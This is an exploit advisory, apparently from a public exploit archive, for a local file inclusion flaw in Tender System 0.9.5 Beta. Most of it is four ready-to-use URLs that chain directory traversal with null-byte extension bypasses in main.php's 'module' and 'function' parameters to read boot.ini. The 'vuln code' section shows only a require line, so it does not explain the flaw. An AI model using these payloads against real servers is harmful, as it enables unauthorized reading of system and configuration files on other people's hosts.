Tender System 0.9.5b LFI

========================
Tender System 0.9.5b LFI 
========================

  __________                __           __      .___             __  .__    
  \______   \_____    ____ |  | __ _____/  |_  __| _/____ _____ _/  |_|  |__ 
   |     ___/\__  \ _/ ___\|  |/ // __ \   __\/ __ |/ __ \\__  \\   __\  |  \
   |    |     / __ \\  \___|    <\  ___/|  | / /_/ \  ___/ / __ \|  | |   Y  \
   |____|    (____  /\___  >__|_ \\___  >__| \____ |\___  >____  /__| |___|  /
                  \/     \/     \/    \/          \/    \/     \/          \/
                   
-------------------------------------------------------------------------------------------
Note: TESTED LOCALLY WITH XAMPP FOR WINDOWS
I was unable to get this to work on a Linux server. Further testing may be required.
 ------------------------------------------------------------------------------------------
Target: TenderSystem
Version: 0.9.5 Beta
Site  http://www.tendersystem.com/
Demo: http://demo.tendersystem.com/
Date: 2-14-2009
----------------------------------------

 
Exploit:
http://127.0.0.1/tendersystem/main.php?module=../../../../../../../../boot.ini%00.html&function=login
 
 
 
http://127.0.0.1/tendersystem/main.php?module=../../../../../../../../boot.ini%00.jpg&function=login
 
 
 
http://127.0.0.1/tendersystem/main.php?module=session&function=../../../../../../../../boot.ini%00.html
 
 
http://127.0.0.1/tendersystem/main.php?module=session&function=../../../../../../../../boot.ini%00.jpg
-------------------------------------------------------------------------------------------------------
Vuln code in main.php:
 
// load required files
require('modules/generic/ts_main.php');
?>
-------------------------------------------------------------------------------------------------------
 
Some things are better left unsaid <3
... That is all.



#  0day.today [2018-03-19]  #